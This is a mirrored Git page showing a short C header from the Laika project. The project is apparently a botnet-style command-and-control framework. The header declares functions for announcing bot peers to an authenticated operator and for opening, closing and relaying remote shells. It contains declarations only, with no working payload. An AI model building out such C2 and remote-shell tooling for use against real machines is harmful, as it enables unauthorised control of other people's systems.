mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-24 13:31:05 +00:00
CPunch
7d96f3252c
- can now open multiple shells per peer (change LAIKA_MAX_SHELLS) - more sanity checking for public keys (new peers with duplicate keys are killed - misc. refactoring, added cnc/cpeer.[ch]
17 lines
726 B
C
17 lines
726 B
C
#ifndef LAIKA_CNC_PANEL_H
|
|
#define LAIKA_CNC_PANEL_H
|
|
|
|
#include "cnc.h"
|
|
#include "lpeer.h"
|
|
|
|
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
|
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
|
|
|
void laikaC_closeAuthShell(struct sLaika_peer *auth);
|
|
|
|
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
|
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
|
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
|
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
|
|
|
#endif |